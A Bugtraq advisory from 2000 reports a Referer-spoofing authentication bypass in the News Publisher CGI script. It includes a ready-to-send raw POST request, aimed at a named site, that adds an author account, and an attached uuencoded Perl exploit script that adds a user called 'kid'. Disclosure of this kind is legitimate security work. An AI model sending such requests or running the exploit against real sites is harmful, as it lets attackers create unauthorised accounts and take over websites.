Bugtraq mailing list archives

News Publisher CGI Vulnerability


From: n30 <n30 () CGI-EXPERTS COM>
Date: Tue, 29 Aug 2000 21:30:09 -0700

Product: News Publisher
Versions: Tested v1.05, 1.05a, 1.05b and 1.06 (newest)
OS: Unix and Winnt
Vendor: Notified
Web Site: www.gwscripts.com

The Problem,
                    yet again CGI authors use nested IF statements to decide what
action to take upon and incoming request. This time the problem allows ppl
to add and author into the 'authors.file' file. This can't be done through a
web browser since the script assumes that if the HTTP_REFERER field is
the url of the news.cgi script (the main script) then you must have completed
the login process :). This assumtion would be true if you were to use a browser
but.... its easily fixed using netcat therefore by passing this raw HTTP request:

POST /cgi-bin/news/news.cgi?addAuthor HTTP/1.0
Connection: close
User-Agent: n30/browser
Host: www.speedy3d.com
Referer: http://www.speedy3d.com/cgi-bin/news/news.cgi
Content-type: application/x-www-form-urlencoded
Content-length: 71

author=n30&apassword=teapot&email=don () know com&name=n30&password=teapot

it is possible to add an author.

Exploit,
            I have included a perl script that will add a user into the authors.file
for you with username: kid and the passwerd of your choice.

Patch,
            I suspect it will be very quick in arriving..

Extra,
            This is a real problem since on older versions the author.file was readable
with Unix crypt passes, this hole sorta blows that outta the water!. There are many
sitez using this script and some would probably be regarded as large. Therefore
i must ask you NOT to misuse the exploit script. thanx....

n30
n30 () alldas de



begin 666 newpub-xploit.pl
M(R$O=7-R+V)I;B]P97)L#0HC(" -"B,@3F5W<R!0=6)L:7-H97(@15A03$])
M5"!B>2!N,S -"B,@5F5R<VEO;G,Z('1E<W1E9"!O;B Q+C U#0HC"0D@(" @
M(" Q+C U80T*(PD)(" @(" @,2XP-6(-"B,@(" @(" @(" @( D@(" @(" Q
M+C V#0HC($)U9R!&;W5N9"!">3H@;64@>VXS,'T-"B,@3U,Z(%5N:7@@86YD
M(%=I;FYT#0HC#0HC(%1H92!0<F]B;&5M.@T*(PE4:&4@875T:&]R(&1E8VED
M960@:6X@86QL(&AI<R G96YL:6=H=&5N960@=VES9&]M)PT*(R!T:&%T(&EF
M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Y<&4Z(&%P<&QI
M8V%T:6]N+W@M=W=W+69O<FTM=7)L96YC;V1E9 T*0V]N=&5N="UL96YG=&@Z
M("1L96YG=&@-"@T*)'5R;"([#0H-"FUY("1I861D<B ](&EN971?871O;B@D
M=&%R9V5T*2 @(" @(" @(" @(" @(" @(" @('Q\(&1I92@B17)R;W(Z("0A
M7&XB*3L-"FUY("1P861D<B ]('-O8VMA9&1R7VEN*#@P+" D:6%D9'(I(" @
M(" @(" @(" @(" @('Q\(&1I92@B17)R;W(Z("0A7&XB*3L-"FUY("1P<F]T
M;R ](&=E='!R;W1O8GEN86UE*"=T8W G*2 @(" @(" @(" @(" @(" @('Q\
M(&1I92@B17)R;W(Z("0A7&XB*3L-"@T*<V]C:V5T*%-/0TM%5"P@4$9?24Y%
M5"P@4T]#2U]35%)%04TL("1P<F]T;RD@(" @?'P@9&EE*")%<G)O<CH@)"%<
M;B(I.PT*8V]N;F5C="A33T-+150L("1P861D<BD@(" @(" @(" @(" @(" @
M(" @(" @(" @?'P@9&EE*")%<G)O<CH@)"%<;B(I.PT*<V5N9"A33T-+150L
M(B1S<&QO:71<,#$U7# Q,B(L(# I(" @(" @(" @(" @(" @?'P@9&EE*")%
M<G)O<CH@)"%<;B(I.PT*8VQO<V4H4T]#2T54*3L-"@T*<')I;G0H(EQN5V@P
M82!C:&5X,'(Z(&AT=' Z+R\D=&%R9V5T+R1D:7)<;G5S97(O<&%S<SH@:VED
:+R1N97=P87-S7&XB*3L-"@T*97AI="@P*3L`
`
end


Current thread: